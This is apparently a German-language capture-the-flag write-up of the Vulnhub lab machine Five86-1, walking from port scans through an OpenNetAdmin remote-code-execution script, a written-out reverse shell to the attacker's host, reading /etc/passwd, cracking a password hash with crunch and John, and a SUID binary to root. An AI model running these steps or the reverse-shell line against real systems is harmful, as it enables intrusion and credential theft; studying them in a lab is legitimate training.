Five86-1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
python3
nc
ls
cat
grep
crunch
john
ssh
wget
sudo
su

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir die ersten Schritte der Aufklärung durch, um Informationen über das Zielsystem zu sammeln. Dies ist entscheidend, um potenzielle Angriffsvektoren zu identifizieren.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.117 08:00:27:30:f8:24 PCS Systemtechnik GmbH

Der ARP-Scan zeigt die IP-Adresse und die MAC-Adresse des Zielsystems. Die Angabe "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.117 five86_1.vln

Die /etc/hosts-Datei ordnet die IP-Adresse dem Hostnamen "five86_1.vln" zu. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-01 23:42 CEST
Nmap scan report for five86_1.vln (192.168.2.117)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 69:e6:3c:bf:72:f7:a0:00:f9:d9:f4:1d:68:e2:3c:bd (RSA)
|   256 45:9e:c7:1e:9f:5b:d3:ce:fc:17:56:f2:f6:42:ab:dc (ECDSA)
|_  256 ae:0a:9e:92:64:5f:86:20:c4:11:44:e0:58:32:e5:05 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/ona
|_http-title: Site doesn't have a title (text/html).
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 08:00:27:30:F8:24 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

Nmap führt einen umfassenden Scan des Zielsystems durch.

  • -sS: TCP-SYN-Scan (Stealth Scan)
  • -sC: Führt Standard-Skripte zur Erkennung von Diensten aus.
  • -sV: Erkennt die Version der laufenden Dienste.
  • -A: Aktiviert aggressive Scan-Optionen (OS-Erkennung, Versionserkennung, Skriptausführung, Traceroute).
  • -p-: Scannt alle 65535 Ports.
  • $IP: Variable für die Ziel-IP-Adresse.
  • -Pn: Verhindert Ping-Anfragen, behandelt alle Hosts als "up".
  • --min-rate 5000: Sendet Pakete mit einer minimalen Rate von 5000 pro Sekunde.
Die Ergebnisse zeigen, dass die Ports 22 (SSH), 80 (HTTP) und 10000 (Webmin) offen sind. Die robots.txt-Datei verbietet den Zugriff auf "/ona".

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP:          192.168.2.117
+ Target Hostname:    192.168.2.117
+ Target Port:        80
+ Start Time:         2024-10-01 23:43:54 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /ona/: Cookie ona_context_name created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /ona/: Cookie NA_SESSION_ID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /robots.txt: Entry '/ona/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8255 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2024-10-01 23:44:31 (GMT2) (37 seconds)

Nikto ist ein Webserver-Scanner, der auf Schwachstellen und Konfigurationsfehler prüft.

  • Es wurden fehlende HTTP-Header (X-Frame-Options, X-Content-Type-Options) festgestellt.
  • Die Cookies "ona_context_name" und "NA_SESSION_ID" werden ohne das "httponly"-Flag gesetzt.
  • Die robots.txt-Datei enthält einen Eintrag, der manuell überprüft werden sollte.
  • Die Apache-Version ist veraltet.

Web Enumeration

In diesem Abschnitt untersuchen wir die Webanwendung genauer, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen aufzudecken.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.117/index.html (Status: 200) [Size: 30] http://192.168.2.117/reports (Status: 401) [Size: 460] http://192.168.2.117/robots.txt (Status: 200) [Size: 29]

Gobuster ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver. Es wurden die Dateien /index.html und /robots.txt gefunden. Der Zugriff auf /reports ist nicht autorisiert (401).

http://192.168.2.117/robots.txt
User-agent: *
Disallow: /ona

Die robots.txt-Datei verbietet den Zugriff auf das Verzeichnis "/ona". Dies könnte ein Hinweis auf interessante Inhalte sein.

Initial Access

In diesem Abschnitt versuchen wir, uns initialen Zugriff auf das System zu verschaffen.

┌──(pwn)─(root㉿CCat)-[~/Hackingtools/ona-rce]
└─# python3 ona-rce.py exploit http://192.168.2.117/ona/
[*] penNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir verwenden das Tool "ona-rce.py", um eine Remote Code Execution-Schwachstelle in OpenNetAdmin (ONA) auszunutzen. Dies führt zu einer Shell als Benutzer "www-data".

Wir verwenden eine Reverse Shell, um eine interaktive Shell zu erhalten.

/bin/sh -i >& /dev/tcp/192.168.2.199/9001 0>&1

Privilege Escalation

In diesem Abschnitt versuchen wir, unsere Privilegien auf dem System zu erhöhen, um Root-Zugriff zu erlangen.

sh$ ls -la /var/www/html
total 20
drwxr-xr-x 3 root root 4096 Jan  1  2020 .
drwxr-xr-x 3 root root 4096 Jan  1  2020 ..
-rw-r--r-- 1 root root   30 Jan  1  2020 index.html
drwxr-xr-x 2 root root 4096 Jan  1  2020 reports
-rw-r--r-- 1 root root   29 Dec 31  2019 robots.txt

Wir listen den Inhalt des Web-Root-Verzeichnisses auf.

sh$ ls /home
douglas jen moss richmond roy

Wir listen die Home-Verzeichnisse der Benutzer auf.

sh$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110/nonexistent:/usr/sbin/nologin
sshd:x:105:65534/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
moss:x:1001:1001:Maurice Moss:/home/moss:/bin/bash
roy:x:1002:1002:Roy Trenneman:/home/roy:/bin/bash
jen:x:1003:1003:Jen Barber:/home/jen:/bin/bash
richmond:x:1004:1004:Richmond Avenal:/home/richmond:/bin/bash
douglas:x:1005:1005:Douglas Reynholm:/home/douglas:/bin/bash
Debian-exim:x:107:114/var/spool/exim4:/usr/sbin/nologin

Wir lesen die /etc/passwd-Datei, um die vorhandenen Benutzer auf dem System zu ermitteln.

sh$ ls -la /home/moss/.ssh
ls: cannot access '/home/moss/.ssh': Permission denied

Wir versuchen, auf das .ssh-Verzeichnis des Benutzers "moss" zuzugreifen, erhalten jedoch keine Berechtigung.

sh$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
moss:x:1001:1001:Maurice Moss:/home/moss:/bin/bash
roy:x:1002:1002:Roy Trenneman:/home/roy:/bin/bash
jen:x:1003:1003:Jen Barber:/home/jen:/bin/bash
richmond:x:1004:1004:Richmond Avenal:/home/richmond:/bin/bash
douglas:x:1005:1005:Douglas Reynholm:/home/douglas:/bin/bash

Wir filtern die /etc/passwd-Datei nach Benutzern, die die Bash-Shell verwenden.

Wir erstellen eine Wordlist mit "crunch" und versuchen, das Passwort des Benutzers "douglas" mit "john" zu knacken.

┌──(root㉿CCat)-[~]
└─# crunch 10 10 aefhrt -o passwörter
Crunch will now generate the following amount of data: 665127936 bytes
634 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 60466176 

crunch: 100% completed generating output

Mit Crunch wird eine Wordlist erstellt die aus den angegebenen Zeichen besteht

┌──(root㉿CCat)-[~]
└─# john --wordlist=passwörter hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
-------------------------------------------------------------------------------------------------------------
fatherrrrr       (?)     
-------------------------------------------------------------------------------------------------------------
1g 0:00:00:20 DONE (2024-10-02 01:39) 0.04764g/s 1034Kp/s 1034Kc/s 1034KC/s fatherefaa..fathetffht
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

John the Ripper wird verwendet, um das Passwort zu knacken

Wir verwenden das geknackte Passwort, um uns via SSH als Benutzer "douglas" anzumelden.

┌──(root㉿CCat)-[~]
└─# ssh douglas@192.168.2.117
The authenticity of host '192.168.2.117 (192.168.2.117)' can't be established.
ED25519 key fingerprint is SHA256:c8HTcx7tPvrbA31UeXE5fRobpanfPTTHV85muCC7LpI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.117' (ED25519) to the list of known hosts.
douglas@192.168.2.117's password: 
Linux five86-1 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.

Es wird versucht eine SSH verbindung aufzubauen

douglas@five86-1$ id
uid=1005(douglas) gid=1005(douglas) groups=1005(douglas)

Wir sind jetzt als Benutzer "douglas" angemeldet.

Wir versuchen, die E-Mail-Datei des Benutzers "jen" in das /dev/shm/-Verzeichnis zu kopieren.

douglas@five86-1$ cd /dev/shm/
douglas@five86-1:/dev/shm$ sudo -u jen /bin/cp /home/jen/.ssh/id_rsa .
/bin/cp: cannot stat '/home/jen/.ssh/id_rsa': No such file or directory

Es wird versucht, die .ssh datei zu kopieren.

douglas@five86-1:/dev/shm$ sudo -u jen /bin/cp /var/mail/jen .
douglas@five86-1:/dev/shm$ ls jen

Es wird versucht die var mail datei zu kopieren.

douglas@five86-1:/dev/shm$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.2.199 - - [01/Oct/2024 19:45:55] code 404, message File not found
192.168.2.199 - - [01/Oct/2024 19:45:55] "GET /jen HTTP/1.1" 404 -

es wird versucht die datei uber einen Webserver bereit zustellen

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.117:8000/jen
--2024-10-02 01:45:56--  http://192.168.2.117:8000/jen
Verbindungsaufbau zu 192.168.2.117:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 404 File not found
2024-10-02 01:45:56 FEHLER 404: File not found.

Wir versuchen, die E-Mail-Datei herunterzuladen, erhalten jedoch einen 404-Fehler.

douglas@five86-1:/dev/shm$ touch test
douglas@five86-1:/dev/shm$ chmod 777 test
douglas@five86-1:/dev/shm$ sudo -u jen /bin/cp /var/mail/jen test
douglas@five86-1:/dev/shm$ cat test
From roy@five86-1 Wed Jan 01 03:17:00 2020
Return-path: 
Envelope-to: jen@five86-1
Delivery-date: Wed, 01 Jan 2020 03:17:00 -0500
Received: from roy by five86-1 with local (Exim 4.92)
	(envelope-from )
	id 1imZBc-0001FU-El
	for jen@five86-1; Wed, 01 Jan 2020 03:17:00 -0500
To: jen@five86-1
Subject: Monday Moss
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: 
From: Roy Trenneman 
Date: Wed, 01 Jan 2020 03:17:00 -0500

Hi Jen,

As you know, I'll be on the "customer service" course on Monday due to 
that incident on Level 4 with the accounts people.

But anyway, I had to change Moss's password earlier today, so when Moss 
is back on Monday morning, can you let him know that his password is now 
Fire!Fire!

Moss will understand (ha ha ha ha).

Thanks,
Roy

Wir erhalten das Passwort für den Benutzer "moss" aus der E-Mail-Datei.

douglas@five86-1:/dev/shm$ su moss
Password: Fire!Fire!
moss@five86-1:/dev/shm$

Wir wechseln mit dem Passwort "Fire!Fire!" zum Benutzer "moss".

moss@five86-1:/dev/shm$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for moss: 
Sorry, user moss may not run sudo on five86-1.

Der Benutzer "moss" darf keine sudo-Befehle ausführen.

Wir untersuchen das Dateisystem weiter, um eine Möglichkeit zur Privilegieneskalation zu finden.

moss@five86-1:/dev/shm$ cd ~
moss@five86-1$ ls
moss@five86-1$ ls -la
total 12
drwx 3 moss moss 4096 Jan  1  2020 .
drwxr-xr-x 7 root root 4096 Jan  1  2020 ..
lrwxrwxrwx 1 moss moss    9 Jan  1  2020 .bash_history -> /dev/null
drwx 2 moss moss 4096 Jan  1  2020 .games

Wir listen den Inhalt des Home-Verzeichnisses des Benutzers "moss" auf. Das Verzeichnis ".games" scheint interessant.

moss@five86-1$ cd .games/
moss@five86-1/.games$ ls -la
total 28
drwx 2 moss moss  4096 Jan  1  2020 .
drwx 3 moss moss  4096 Jan  1  2020 ..
lrwxrwxrwx 1 moss moss    21 Jan  1  2020 battlestar -> /usr/games/battlestar
lrwxrwxrwx 1 moss moss    14 Jan  1  2020 bcd -> /usr/games/bcd
lrwxrwxrwx 1 moss moss    21 Jan  1  2020 bombardier -> /usr/games/bombardier
lrwxrwxrwx 1 moss moss    17 Jan  1  2020 empire -> /usr/games/empire
lrwxrwxrwx 1 moss moss    20 Jan  1  2020 freesweep -> /usr/games/freesweep
lrwxrwxrwx 1 moss moss    15 Jan  1  2020 hunt -> /usr/games/hunt
lrwxrwxrwx 1 moss moss    20 Jan  1  2020 ninvaders -> /usr/games/ninvaders
lrwxrwxrwx 1 moss moss    17 Jan  1  2020 nsnake -> /usr/games/nsnake
lrwxrwxrwx 1 moss moss    25 Jan  1  2020 pacman4console -> /usr/games/pacman4console
lrwxrwxrwx 1 moss moss    17 Jan  1  2020 petris -> /usr/games/petris
lrwxrwxrwx 1 moss moss    16 Jan  1  2020 snake -> /usr/games/snake
lrwxrwxrwx 1 moss moss    17 Jan  1  2020 sudoku -> /usr/games/sudoku
-rwsr-xr-x 1 root root 16824 Jan  1  2020 upyourgame
lrwxrwxrwx 1 moss moss    16 Jan  1  2020 worms -> /usr/games/worms

Das Verzeichnis ".games" enthält das ausführbare Programm "upyourgame", das mit Root-Rechten ausgeführt wird (SUID-Bit gesetzt). Dies ist ein potenzieller Angriffsvektor.

moss@five86-1/.games$ ./upyourgame
Would you like to play a game? y

Could you please repeat that? y

Nope, you'll need to enter that again. y

You entered: No.  Is this correct? y

We appear to have a problem?  Do we have a problem? y

Made in Britain.
# id
uid=0(root) gid=1001(moss) groups=1001(moss)

Die Ausführung von "upyourgame" führt zu Root-Rechten! Durch die Eingabe von "y" auf die Fragen des Spiels erhalten wir eine Root-Shell.

Flags

cd /root
ls
flag.txt
cat flag.txt
8f3b38dd95eccf600593da4522251746